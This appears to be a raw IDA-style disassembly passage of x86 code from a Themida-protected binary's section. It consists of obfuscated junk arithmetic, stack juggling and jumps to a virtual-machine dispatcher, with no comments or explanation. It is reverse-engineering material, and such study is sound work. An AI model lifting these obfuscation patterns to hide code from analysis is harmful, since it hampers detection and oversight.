loc_54ADEE: ; CODE XREF: Themida_:0054D415j
add esp, 4
jmp loc_548AA2
; ---------------------------------------------------------------------------
loc_54ADF9: ; CODE XREF: Themida_:0054D8EDj
pop ebx
pop edi
add ecx, edx
push 7E27h
mov [esp], edx
mov edx, 0
add edx, ecx
mov [edx], al
pop edx
jmp loc_54445A
; ---------------------------------------------------------------------------
loc_54AE14: ; CODE XREF: Themida_:0054A39Ej
push edx
push esp
pop edx
push esi
push edx
push 5E081552h
pop edx
or edx, 5B560F72h
shl edx, 8
xor edx, 5E1F7204h
push edx
xor dword ptr [esp], 10213E46h
pop esi
xor esi, 10213E46h
mov edx, [esp]
add esp, 4
add edx, esi
pop esi
push esi
mov esi, 3EA15A72h
xor esi, 3EA15A76h
sub edx, 1AD1415Ah
add edx, esi
add edx, 1AD1415Ah
pop esi
xchg edx, [esp]
jmp loc_54B87F
; ---------------------------------------------------------------------------
loc_54AE69: ; CODE XREF: Themida_:0054C39Ej
mov ecx, 0C7463C8h
mov esi, 0F38B9C39h
add esi, ecx
jmp loc_54727C
; ---------------------------------------------------------------------------
loc_54AE7A: ; CODE XREF: Themida_:00547FEAj
sub ebx, edx
pop edx
push edi
mov edi, 34A84E9Eh
xchg ebp, edi
jmp loc_54A3D1
; ---------------------------------------------------------------------------
loc_54AE8A: ; CODE XREF: Themida_:00547DA0j
mov bl, 0B0h
add bl, 4Ch
push ax
jmp loc_54B3A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54AE96: ; CODE XREF: sub_545BCC+2E69j
add ch, 25h
sub ch, 82h
add bl, 49h
jmp loc_547527
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_54AEA4: ; CODE XREF: Themida_:0054FBADj
add eax, 4
jmp loc_54F7C9
; ---------------------------------------------------------------------------
loc_54AEAE: ; CODE XREF: Themida_:00547D54j
push 4
mov ebx, [esp]
add esp, 4
add edx, 2E926B91h
jmp loc_54A6BF
; ---------------------------------------------------------------------------
loc_54AEC7: ; CODE XREF: Themida_:00546420j
push ecx
mov ecx, esp
jmp loc_54A3F1
; ---------------------------------------------------------------------------
lodsd
jmp loc_54A3A3
; ---------------------------------------------------------------------------
loc_54AED5: ; CODE XREF: Themida_:0054F51Bj
pop edx
jmp loc_5473C2
; ---------------------------------------------------------------------------
loc_54AEDB: ; CODE XREF: Themida_:0054522Bj
shr ch, 7
or ch, 0FAh
jmp loc_54C71E
; ---------------------------------------------------------------------------
loc_54AEE6: ; CODE XREF: Themida_:0054F8DDj
mov esi, 5D3277Ah
push ecx
mov ecx, 282E1227h
neg ecx
neg ecx
add ecx, 0E05DFD7Eh
jmp loc_54CB10
; ---------------------------------------------------------------------------
loc_54AF00: ; CODE XREF: Themida_:00546BAFj
shl eax, 2
sub eax, 69262B0Bh
push ebp
mov ebp, 220EFB36h
jmp loc_54DC33
; ---------------------------------------------------------------------------
loc_54AF13: ; CODE XREF: Themida_:005482BAj
mov ebp, eax
pop eax
add eax, ebp
pop ebp
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], edx
push eax
mov al, 0E3h
add al, 33h
jmp loc_5474C3
; ---------------------------------------------------------------------------
loc_54AF2F: ; CODE XREF: Themida_:0054A308j
pop ecx
push ecx
mov ecx, esp
push 3E90h
mov [esp], edi
mov edi, 51A0765h
jmp loc_54B0BB
; ---------------------------------------------------------------------------
loc_54AF45: ; CODE XREF: Themida_:0054820Aj
mov [esp], esi
push esp
pop esi
sub esp, 4
mov [esp], eax
mov eax, 4
add esi, eax
mov eax, [esp]
jmp loc_546BBF
; ---------------------------------------------------------------------------
loc_54AF62: ; CODE XREF: Themida_:0054A577j
sub ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_544945
; ---------------------------------------------------------------------------
loc_54AF6F: ; CODE XREF: Themida_:0054F88Fj
push 533h
mov [esp], edi
push 6281756h
pop edi
shr edi, 2
push edx
mov edx, 3F3A3EFBh
jmp loc_54FB82
; ---------------------------------------------------------------------------
loc_54AF8B: ; CODE XREF: Themida_:0054E72Ej
add ecx, 6838037Ah
sub ecx, edx
sub ecx, 6838037Ah
jmp loc_545D2F
; ---------------------------------------------------------------------------
loc_54AF9E: ; CODE XREF: Themida_:0054EFEBj
mov ecx, edx
jmp loc_544369
; ---------------------------------------------------------------------------
loc_54AFA5: ; CODE XREF: Themida_:0054F18Bj
sub edi, 0E6797480h
add ebx, 25326C80h
add ebx, edi
sub ebx, 25326C80h
pop edi
push edx
jmp loc_54B450
; ---------------------------------------------------------------------------
loc_54AFC0: ; CODE XREF: Themida_:0054DA54j
mov bl, 1Dh
shr bl, 1
jmp loc_54D518
; ---------------------------------------------------------------------------
loc_54AFC9: ; CODE XREF: Themida_:0054E3CEj
mov esi, [esp]
add esp, 4
jmp loc_544C09
; ---------------------------------------------------------------------------
loc_54AFD7: ; CODE XREF: Themida_:0054B396j
sub ebx, 61F07A89h
mov edi, [esp]
add esp, 4
jmp loc_547E83
; ---------------------------------------------------------------------------
loc_54AFE8: ; CODE XREF: Themida_:0054B61Dj
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_54A165
; ---------------------------------------------------------------------------
loc_54AFF4: ; CODE XREF: Themida_:00547BF5j
; Themida_:0054DDE4j
push esi
push ebp
jmp loc_548E6B
; ---------------------------------------------------------------------------
loc_54AFFB: ; CODE XREF: Themida_:0054E20Aj
mov [esp], edi
push 503D6CC5h
push dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
add esp, 4
push eax
mov eax, 503D6CE1h
jmp loc_544C47
; ---------------------------------------------------------------------------
mov edx, [esp]
push 4345h
mov [esp], ecx
jmp loc_54CD1C
; ---------------------------------------------------------------------------
loc_54B02E: ; CODE XREF: Themida_:00549563j
mov ch, 33h
add al, 5Ch
add al, ch
sub al, 5Ch
mov cx, [esp]
jmp loc_546FB7
; ---------------------------------------------------------------------------
mov edi, 4A5014DCh
sub edx, edi
jmp loc_54C677
; ---------------------------------------------------------------------------
loc_54B04B: ; CODE XREF: Themida_:0054C699j
pop esi
sub esi, 24F0666h
push ebp
mov ebp, 19CA6D4Fh
and esi, ebp
pop ebp
xor esi, 272C6301h
mov ebx, esi
pop esi
shl ebx, 1
and ebx, 2E5657FAh
shr ebx, 1
and ebx, 3ABA43E8h
xor ebx, 0BDC2A9Fh
sub eax, 59C65CB0h
add eax, 414F69FDh
sub eax, ebx
sub eax, 414F69FDh
jmp loc_54C9DC
; ---------------------------------------------------------------------------
loc_54B090: ; CODE XREF: Themida_:0054AC59j
pop edx
add esp, 4
add bl, 3Bh
add bl, 75h
push dx
jmp loc_54724A
; ---------------------------------------------------------------------------
loc_54B0A4: ; CODE XREF: Themida_:0054619Cj
push 4
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
add edi, 4
jmp loc_547B77
; ---------------------------------------------------------------------------
loc_54B0BB: ; CODE XREF: Themida_:0054AF40j
push edx
mov edx, 6FBF754Ch
or edx, 79E33164h
push ecx
mov ecx, 0
sub ecx, edx
jmp loc_54AB82
; ---------------------------------------------------------------------------
loc_54B0D4: ; CODE XREF: Themida_:005458E4j
add edx, ebx
pop ebx
jmp loc_54DD1E
; ---------------------------------------------------------------------------
loc_54B0DC: ; CODE XREF: Themida_:00544058j
mov [esp], esi
mov esi, 6BBD5609h
add eax, esi
jmp loc_54BDDF
; ---------------------------------------------------------------------------
loc_54B0EB: ; CODE XREF: Themida_:0054F0F4j
push 0
sub [esp], edx
pop edx
not edx
jmp loc_546765
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54B0FB: ; CODE XREF: sub_545BCC-350j
pop ebx
push ecx
mov ch, 0AEh
sub al, ch
pop ecx
jmp loc_54F729
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_54B107: ; CODE XREF: Themida_:00546F03j
push bx
jmp loc_54F28B
; ---------------------------------------------------------------------------
loc_54B10E: ; CODE XREF: Themida_:0054D887j
mov [esp], edi
mov edi, 771A569Fh
add edi, 94B1E0FAh
jmp loc_54FBFA
; ---------------------------------------------------------------------------
loc_54B121: ; CODE XREF: Themida_:00544A9Aj
pop edi
add eax, 39B0466Eh
jmp loc_5458E9
; ---------------------------------------------------------------------------
loc_54B12C: ; CODE XREF: Themida_:005451FDj
xor ebp, 7E027326h
or ebp, 6787553h
dec ebp
sub ebp, 7F7FFF7Ah
jmp loc_54FE6D
; ---------------------------------------------------------------------------
loc_54B144: ; CODE XREF: Themida_:0054785Cj
mov ecx, [esp]
jmp loc_54DDB5
; ---------------------------------------------------------------------------
loc_54B14C: ; CODE XREF: Themida_:00546D0Cj
jz loc_54EE8A
push edx
mov edx, 7A8011D6h
and edx, 664F1312h
push ebp
mov ebp, 3B34DB2h
add edx, ebp
mov ebp, [esp]
add esp, 4
sub esi, 1CAE07C1h
add esi, edx
add esi, 1CAE07C1h
pop edx
add esi, eax
push edi
push esi
mov esi, 6350317Ah
xor esi, 7D6B7A6Ah
mov edi, esi
pop esi
not edi
shr edi, 8
and edi, 0C515998h
not edi
inc edi
not edi
sub edi, 9A8DE1CBh
push ebp
mov ebp, 35EE14ECh
jmp loc_54C797
; ---------------------------------------------------------------------------
loc_54B1B1: ; CODE XREF: Themida_:0054DD29j
mov cx, 2
add word ptr [esp+2], 0C53h
sub word ptr [esp+2], 3216h
push bp
jmp loc_54DB5B
; ---------------------------------------------------------------------------
loc_54B1CA: ; CODE XREF: Themida_:00548FF8j
push ebp
jmp loc_549115
; ---------------------------------------------------------------------------
push 0BF8h
jmp loc_54CBF8
; ---------------------------------------------------------------------------
loc_54B1DA: ; CODE XREF: Themida_:005499E2j
add edi, esi
pop esi
jmp loc_54FE58
; ---------------------------------------------------------------------------
loc_54B1E2: ; CODE XREF: Themida_:0054A6F8j
mov ebp, 38E9726Fh
shr ebp, 4
and ebp, 6BB96EEDh
sub ebp, 3880620h
add edx, ebp
mov ebp, [esp]
add esp, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push 8A1h
mov [esp], edi
push edx
mov edx, 527446F4h
jmp loc_54BF7F
; ---------------------------------------------------------------------------
loc_54B21D: ; CODE XREF: Themida_:0054DAC6j
pop esp
mov [esp], ebp
push ebp
mov ebp, esp
jmp loc_54A74E
; ---------------------------------------------------------------------------
loc_54B229: ; CODE XREF: Themida_:0054E9E6j
mov ah, cl
pop ecx
jmp loc_54A3C2
; ---------------------------------------------------------------------------
loc_54B231: ; CODE XREF: Themida_:0054CD4Dj
pop ebp
sub ebp, 49111061h
jmp loc_54D1AC
; ---------------------------------------------------------------------------
loc_54B23D: ; CODE XREF: Themida_:0054EB44j
add esi, ebp
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg esi, [esp]
pop esp
and [esp], al
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B262: ; CODE XREF: Themida_:0054A599j
mov edx, 0ED72FC1h
or edx, 4A427AADh
sub edx, 0B860D84h
push edx
jmp loc_54B479
; ---------------------------------------------------------------------------
loc_54B279: ; CODE XREF: Themida_:005500B3j
sub ah, 52h
mov dl, ah
pop eax
xor dl, 0C5h
shl dl, 1
xor dl, al
jmp loc_546FCB
; ---------------------------------------------------------------------------
loc_54B28B: ; CODE XREF: Themida_:0054D5D0j
add esi, ebx
pop ebx
sub [esp+8], esi
pop esi
push dword ptr [esp]
pop ebx
add esp, 4
pop eax
add eax, 4DEB0DEBh
push edi
mov edi, 74BF129Fh
sub edx, edi
pop edi
push ebp
mov ebp, 278F4DA3h
jmp loc_5461F6
; ---------------------------------------------------------------------------
loc_54B2B4: ; CODE XREF: Themida_:0054D525j
pop esp
jmp loc_54AAF2
; ---------------------------------------------------------------------------
loc_54B2BA: ; CODE XREF: Themida_:00546AE9j
mov edi, esp
add edi, 4
push edx
sub esp, 4
jmp loc_54D7D1
; ---------------------------------------------------------------------------
loc_54B2CB: ; CODE XREF: Themida_:00548CD5j
mov ebx, 12F914D5h
not ebx
jmp loc_544FF5
; ---------------------------------------------------------------------------
loc_54B2D7: ; CODE XREF: Themida_:005467DDj
mov ebx, 1F9E5813h
xor ebx, esi
pop esi
jmp loc_54D69C
; ---------------------------------------------------------------------------
loc_54B2E4: ; CODE XREF: Themida_:00546891j
sub eax, edi
jmp loc_5478D2
; ---------------------------------------------------------------------------
loc_54B2EB: ; CODE XREF: Themida_:005490D7j
or ebx, 74804E05h
push eax
jmp loc_549A25
; ---------------------------------------------------------------------------
loc_54B2F7: ; CODE XREF: Themida_:0054E941j
neg edx
jmp loc_5479A4
; ---------------------------------------------------------------------------
loc_54B2FE: ; CODE XREF: Themida_:005498EEj
pop ecx
add edi, ebx
push esi
jmp loc_544811
; ---------------------------------------------------------------------------
loc_54B307: ; CODE XREF: Themida_:005448A0j
mov ebx, 6731FDh
or ecx, ebx
pop ebx
sub ecx, 0FFFFFFFFh
sub ecx, 677DFCh
add eax, ecx
pop ecx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
movsx ecx, al
push 2FD6h
mov [esp], ecx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B335: ; CODE XREF: Themida_:005481D9j
add al, bl
jmp loc_545BEC
; ---------------------------------------------------------------------------
loc_54B33C: ; CODE XREF: Themida_:0054FE12j
mov [esp], esi
mov esi, 37E03EC9h
push 2688h
jmp loc_54988D
; ---------------------------------------------------------------------------
loc_54B34E: ; CODE XREF: Themida_:0054B4F3j
push edx
push ebp
pop edx
pop ebp
add edx, 6CA075F6h
xor ebp, edx
jmp loc_54F48E
; ---------------------------------------------------------------------------
loc_54B35F: ; CODE XREF: Themida_:00546EFBj
push 3D1Dh
mov [esp], ebp
mov ebp, 4EB74F3Ah
xor ebp, 63953BF6h
shl ebp, 7
and ebp, 36AF5193h
push eax
mov eax, 2A866361h
jmp loc_54D410
; ---------------------------------------------------------------------------
loc_54B386: ; CODE XREF: Themida_:0054B900j
mov [esp], edi
mov edi, 4
add ebx, 61F07A89h
add ebx, edi
jmp loc_54AFD7
; ---------------------------------------------------------------------------
loc_54B39B: ; CODE XREF: Themida_:0054B5ADj
and cl, al
pop ax
jmp loc_5468FD
; ---------------------------------------------------------------------------
loc_54B3A4: ; CODE XREF: Themida_:0054AE91j
mov ah, 97h
add bl, ah
pop ax
or bl, 0FCh
add bl, 0E0h
or cl, bl
pop ebx
xor cl, 0BAh
not cl
add cl, 0F3h
sub bl, cl
pop ecx
add bl, 0C9h
sub bl, al
sub bl, 0C9h
add bl, 0ADh
pop ax
jmp loc_54E24F
; ---------------------------------------------------------------------------
loc_54B3D0: ; CODE XREF: Themida_:0054F2F1j
mov [esp], esi
mov esi, esp
push ecx
push edi
mov edi, 60583229h
jmp loc_54865B
; ---------------------------------------------------------------------------
loc_54B3E1: ; CODE XREF: Themida_:00547E43j
xor [esp], ebx
xor ebx, [esp]
jmp loc_54E16D
; ---------------------------------------------------------------------------
loc_54B3EC: ; CODE XREF: Themida_:005462E8j
pop eax
pop ecx
push ecx
sub esp, 4
mov [esp], ebx
pop ecx
pop ebx
push ebx
push edi
jmp loc_54FDB6
; ---------------------------------------------------------------------------
loc_54B3FE: ; CODE XREF: Themida_:0054CEFFj
pop ebp
add ebp, 4
push ebx
jmp loc_54FE5E
; ---------------------------------------------------------------------------
loc_54B40B: ; CODE XREF: Themida_:0054A7ADj
push ecx
jmp loc_54ADC6
; ---------------------------------------------------------------------------
loc_54B411: ; CODE XREF: Themida_:005500F4j
push edi
mov edi, 4
sub eax, edi
pop edi
xchg eax, [esp]
jmp loc_54539E
; ---------------------------------------------------------------------------
loc_54B422: ; CODE XREF: Themida_:0054FA2Dj
add ebx, 4
push eax
mov eax, 4
sub ebx, eax
jmp loc_546FD6
; ---------------------------------------------------------------------------
loc_54B435: ; CODE XREF: Themida_:0054F134j
add esp, 4
push ecx
push eax
push edx
mov dl, 57h
shr dl, 1
or dl, 0CEh
and dl, 3Ch
inc dl
xor dl, 0B4h
push edx
jmp loc_546E1C
; ---------------------------------------------------------------------------
loc_54B450: ; CODE XREF: Themida_:0054AFBBj
mov edx, 2
add ebx, edx
jmp loc_54D485
; ---------------------------------------------------------------------------
loc_54B45C: ; CODE XREF: Themida_:0054C12Ej
add esp, 4
jmp loc_54BEF7
; ---------------------------------------------------------------------------
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_54E562
; ---------------------------------------------------------------------------
loc_54B479: ; CODE XREF: Themida_:0054B274j
add dword ptr [esp], 0FFFFFFFFh
mov edx, [esp]
jmp loc_54E946
; ---------------------------------------------------------------------------
loc_54B485: ; CODE XREF: Themida_:00545A22j
sub edx, 21457AADh
add edx, ebx
add edx, 21457AADh
push ebx
jmp loc_545CD0
; ---------------------------------------------------------------------------
loc_54B499: ; CODE XREF: Themida_:0054E648j
add esp, 4
add esi, 4
sub esp, 4
mov [esp], edi
mov edi, esp
push eax
jmp loc_54A856
; ---------------------------------------------------------------------------
loc_54B4B3: ; CODE XREF: Themida_:00546A2Fj
sub edx, 0D1FF23Fh
sub eax, edx
pop edx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B4C1: ; CODE XREF: Themida_:005480B2j
or esi, 732E0921h
add esi, 10328Fh
add eax, esi
pop esi
jmp loc_547EDC
; ---------------------------------------------------------------------------
loc_54B4D5: ; CODE XREF: Themida_:00549731j
add eax, ecx
pop ecx
xor ebx, eax
pop small word ptr [eax]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B4E2: ; CODE XREF: Themida_:00548488j
pop edi
xor edx, 5587341Fh
and edx, 764A3C20h
xchg ebp, edx
not ebp
jmp loc_54B34E
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_54D62A
; ---------------------------------------------------------------------------
loc_54B501: ; CODE XREF: Themida_:00545BFFj
push cx
mov ch, 64h
mov ah, ch
pop cx
not ah
push ebx
jmp loc_54651F
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_54708F
; ---------------------------------------------------------------------------
loc_54B51D: ; CODE XREF: Themida_:005441C0j
add esi, 4
xchg esi, [esp]
pop esp
movzx ax, byte ptr [eax]
push 42BFh
jmp loc_5442FA
; ---------------------------------------------------------------------------
loc_54B532: ; CODE XREF: Themida_:0054FC8Aj
sub esp, 2
mov [esp], cx
mov ch, 7Ch
and dl, ch
jmp loc_54C421
; ---------------------------------------------------------------------------
loc_54B542: ; CODE XREF: Themida_:0054719Bj
mov ebp, [esp]
push 6E58h
mov [esp], ebp
mov ebp, esp
sub esp, 4
mov [esp], edi
mov edi, 74DC7280h
add edi, 0FFFFFFFFh
dec edi
shl edi, 8
shl edi, 3
jmp loc_544EC3
; ---------------------------------------------------------------------------
loc_54B56F: ; CODE XREF: Themida_:0054EA9Cj
mov eax, [esp]
add esp, 4
pop ebx
sub [esp+4], eax
pop eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B580: ; CODE XREF: Themida_:00547E5Cj
pop ecx
jmp loc_546E8E
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_54CA2A
; ---------------------------------------------------------------------------
loc_54B595: ; CODE XREF: Themida_:00545239j
add esp, 4
jmp loc_549853
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_546B15
; ---------------------------------------------------------------------------
loc_54B5A6: ; CODE XREF: Themida_:00547381j
sub cl, dh
pop edx
push ax
mov al, 0EBh
jmp loc_54B39B
; ---------------------------------------------------------------------------
loc_54B5B2: ; CODE XREF: Themida_:0054D4CEj
sub ebp, 239050EDh
not ebp
dec ebp
add ebp, 0A43E0A4Eh
mov esi, ebp
pop ebp
jmp loc_545247
; ---------------------------------------------------------------------------
loc_54B5C9: ; CODE XREF: Themida_:00544AF3j
xchg ebx, [esp]
pop esp
or eax, eax
jz loc_54CC15
sub esp, 4
mov [esp], esi
push 39A1h
mov [esp], eax
mov eax, 6C055E4Bh
xor eax, 232B31C4h
push eax
neg dword ptr [esp]
pop eax
and eax, 743900DCh
inc eax
push edx
mov edx, esp
add edx, 4
jmp loc_54665D
; ---------------------------------------------------------------------------
loc_54B609: ; CODE XREF: Themida_:0054C591j
add ebx, esi
mov esi, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
add esi, 4
jmp loc_54AFE8
; ---------------------------------------------------------------------------
loc_54B622: ; CODE XREF: Themida_:00546992j
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_545943
; ---------------------------------------------------------------------------
loc_54B636: ; CODE XREF: Themida_:005448F8j
push edi
mov edi, 78CE05EAh
sub esi, edi
jmp loc_546498
; ---------------------------------------------------------------------------
loc_54B643: ; CODE XREF: Themida_:0054CCA3j
add al, dh
mov dx, [esp]
jmp loc_546F87
; ---------------------------------------------------------------------------
loc_54B64E: ; CODE XREF: Themida_:0054711Fj
mov [esp], esi
push edx
mov edx, 390B5D9Dh
jmp loc_547F95
; ---------------------------------------------------------------------------
loc_54B65C: ; CODE XREF: Themida_:00546D15j
mov [esp], ecx
mov ecx, 7BA83BFDh
jmp loc_545DFF
; ---------------------------------------------------------------------------
loc_54B669: ; CODE XREF: Themida_:0054558Cj
mov esp, [esp]
push dword ptr [esp]
pop ecx
push 2CC3h
mov [esp], edx
mov edx, esp
jmp loc_54C477
; ---------------------------------------------------------------------------
loc_54B67F: ; CODE XREF: Themida_:005484BAj
add ecx, 197472C0h
add ecx, edi
sub ecx, 197472C0h
push dword ptr [ecx]
push edi
mov edi, 5ED05F50h
xor [esp+4], edi
pop edi
jmp loc_546232
; ---------------------------------------------------------------------------
loc_54B69F: ; CODE XREF: Themida_:0054A24Bj
add eax, 4
xchg eax, [esp]
jmp loc_54908B
; ---------------------------------------------------------------------------
loc_54B6AA: ; CODE XREF: Themida_:00548D1Dj
push 5934h
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_54C1B7
; ---------------------------------------------------------------------------
loc_54B6BF: ; CODE XREF: Themida_:0054F7EBj
mov [esp], esi
mov esi, 2FBD16EBh
xor [esp+4], esi
jmp loc_5459A9
; ---------------------------------------------------------------------------
loc_54B6D0: ; CODE XREF: Themida_:0054FD9Cj
mov cx, [esp]
push ebp
mov ebp, esp
push 695Bh
mov [esp], esi
jmp loc_546E25
; ---------------------------------------------------------------------------
loc_54B6E4: ; CODE XREF: Themida_:00547C54j
shl esi, 1
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_549DBF
; ---------------------------------------------------------------------------
loc_54B6FB: ; CODE XREF: Themida_:0054C544j
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop eax
jmp loc_546C83
; ---------------------------------------------------------------------------
loc_54B70D: ; CODE XREF: Themida_:0054D697j
shl ebp, 5
push edx
mov edx, 2AE0607Eh
jmp loc_54DA01
; ---------------------------------------------------------------------------
loc_54B71B: ; CODE XREF: Themida_:0054CBA4j
mov eax, [esp]
push ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
jmp loc_54F8EC
; ---------------------------------------------------------------------------
loc_54B734: ; CODE XREF: Themida_:0054CD39j
xor eax, 10284797h
xor eax, 6CA61E1Ah
sub eax, 1
push ebp
mov ebp, 4DAD0377h
or ebp, 1AD32178h
shl ebp, 8
sub ebp, 761F0C06h
jmp loc_54FC13
; ---------------------------------------------------------------------------
loc_54B75D: ; CODE XREF: Themida_:00550025j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_54A0DD
; ---------------------------------------------------------------------------
loc_54B76A: ; CODE XREF: Themida_:00548FD3j
mov ecx, 6E1D2934h
jmp loc_548DCD
; ---------------------------------------------------------------------------
loc_54B774: ; CODE XREF: Themida_:005455B4j
inc ecx
shl ecx, 7
sub ecx, 4EF9E7EEh
sub edi, ecx
jmp loc_54C2EC
; ---------------------------------------------------------------------------
loc_54B785: ; CODE XREF: Themida_:0054CAB5j
add ebx, edi
mov edi, [esp]
add esp, 4
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
rol byte ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B7A9: ; CODE XREF: Themida_:00547759j
sub bl, al
pop eax
xor ah, bl
mov ebx, [esp]
add esp, 4
jmp loc_54F2C0
; ---------------------------------------------------------------------------
loc_54B7B9: ; CODE XREF: Themida_:00545DE2j
add edx, 63567BAEh
jmp loc_546B25
; ---------------------------------------------------------------------------
loc_54B7C4: ; CODE XREF: Themida_:00548999j
push 758Eh
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_54B99D
; ---------------------------------------------------------------------------
loc_54B7E1: ; CODE XREF: Themida_:005491B6j
push eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
jmp loc_5458CC
; ---------------------------------------------------------------------------
loc_54B7F4: ; CODE XREF: Themida_:0054F469j
mov eax, esp
push ebp
push ebx
jmp loc_5486A5
; ---------------------------------------------------------------------------
loc_54B7FD: ; CODE XREF: Themida_:00548D53j
mov [esp], eax
mov ah, 8Dh
shl ah, 2
shr ah, 8
shl ah, 2
xor ah, 0D3h
jmp loc_54812E
; ---------------------------------------------------------------------------
loc_54B813: ; CODE XREF: Themida_:00546F4Bj
mov [ebx], cl
mov ebx, [esp]
push edx
mov edx, esp
jmp loc_54E5D8
; ---------------------------------------------------------------------------
loc_54B820: ; CODE XREF: Themida_:0054D40Bj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_546A80
; ---------------------------------------------------------------------------
loc_54B834: ; CODE XREF: Themida_:0054BA97j
add esp, 4
bt [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B844: ; CODE XREF: Themida_:0054FE36j
mov eax, esi
pop esi
or eax, 72456737h
xor eax, 45802982h
xor edi, eax
mov eax, [esp]
add esp, 4
jmp loc_54FDC7
; ---------------------------------------------------------------------------
loc_54B861: ; CODE XREF: Themida_:0054D774j
xor eax, ecx
pop ecx
inc eax
jmp loc_547D41
; ---------------------------------------------------------------------------
loc_54B86A: ; CODE XREF: Themida_:0054AD24j
add dword ptr [esp], 4
jmp loc_54EF73
; ---------------------------------------------------------------------------
loc_54B873: ; CODE XREF: Themida_:00545BB5j
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54D7FD
; ---------------------------------------------------------------------------
loc_54B87F: ; CODE XREF: Themida_:0054AE64j
mov esp, [esp]
push dword ptr [esp]
pop eax
push 1803h
mov [esp], eax
jmp loc_547B8E
; ---------------------------------------------------------------------------
loc_54B893: ; CODE XREF: Themida_:00545B06j
add edx, 4
add edx, 4
jmp loc_5494BB
; ---------------------------------------------------------------------------
loc_54B8A1: ; CODE XREF: Themida_:0054F3CCj
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54B8A6: ; CODE XREF: Themida_:00548013j
add ecx, 69025D0Eh
pop ebp
push ecx
push dword ptr [esp+4]
jmp loc_544BF0
; ---------------------------------------------------------------------------
loc_54B8B7: ; CODE XREF: Themida_:00544A38j
push ebp
mov ebp, 4
sub eax, ebp
pop ebp
xchg eax, [esp]
jmp loc_54976E
; ---------------------------------------------------------------------------
loc_54B8C8: ; CODE XREF: Themida_:00549BDAj
push edx
jmp loc_54E67E
; ---------------------------------------------------------------------------
loc_54B8CE: ; CODE XREF: Themida_:0054817Cj
mov eax, 59F819BEh
mov edi, 0DE7668D9h
jmp loc_54E550
; ---------------------------------------------------------------------------
loc_54B8DD: ; CODE XREF: Themida_:0054C7CDj
mov [esp], esi
jmp loc_54BDB9
; ---------------------------------------------------------------------------
loc_54B8E5: ; CODE XREF: Themida_:00546B20j
mov edx, 4
add eax, edx
pop edx
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, esp
push 4BECh
jmp loc_54B386
; ---------------------------------------------------------------------------
loc_54B905: ; CODE XREF: Themida_:0054D6E0j
mov esi, 2
mov eax, esi
pop esi
jmp loc_54520D
; ---------------------------------------------------------------------------
loc_54B912: ; CODE XREF: Themida_:0054E38Ej
xchg eax, ebp
shr ebp, 3
jmp loc_54FF1B
; ---------------------------------------------------------------------------
loc_54B91B: ; CODE XREF: Themida_:00549178j
sub ebp, 0B9A4C911h
mov edx, ebp
jmp loc_547D72
; ---------------------------------------------------------------------------
loc_54B928: ; CODE XREF: Themida_:0054D3BDj
shl ebx, 7
add ebx, 3D2F0DCEh
jmp loc_54848D
; ---------------------------------------------------------------------------
loc_54B936: ; CODE XREF: Themida_:00549A15j
shr ebp, 5
inc ebp
push edx
mov edx, 1AB95A2h
jmp loc_5456C3
; ---------------------------------------------------------------------------
loc_54B945: ; CODE XREF: Themida_:0054781Cj
pop edx
add bl, 0Eh
sub bl, al
jmp loc_54FDD8
; ---------------------------------------------------------------------------
loc_54B950: ; CODE XREF: Themida_:00548BE0j
pop esi
sub esp, 4
jmp loc_54CE61
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54B95C: ; CODE XREF: sub_545BCC+7629j
push ecx
push 41CCh
mov [esp], eax
mov ah, 0F3h
mov cl, ah
pop eax
push eax
mov al, 9Dh
and al, 1Ah
dec al
shr al, 5
shr al, 6
sub al, 0CEh
xor cl, al
pop eax
sub bl, 0BDh
sub bl, 0E7h
sub bl, cl
add bl, 0E7h
add bl, 0BDh
pop ecx
mov ecx, [esp+0]
jmp loc_550003
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_54B993: ; CODE XREF: Themida_:0054CE5Cj
add esi, edx
pop edx
add edx, esi
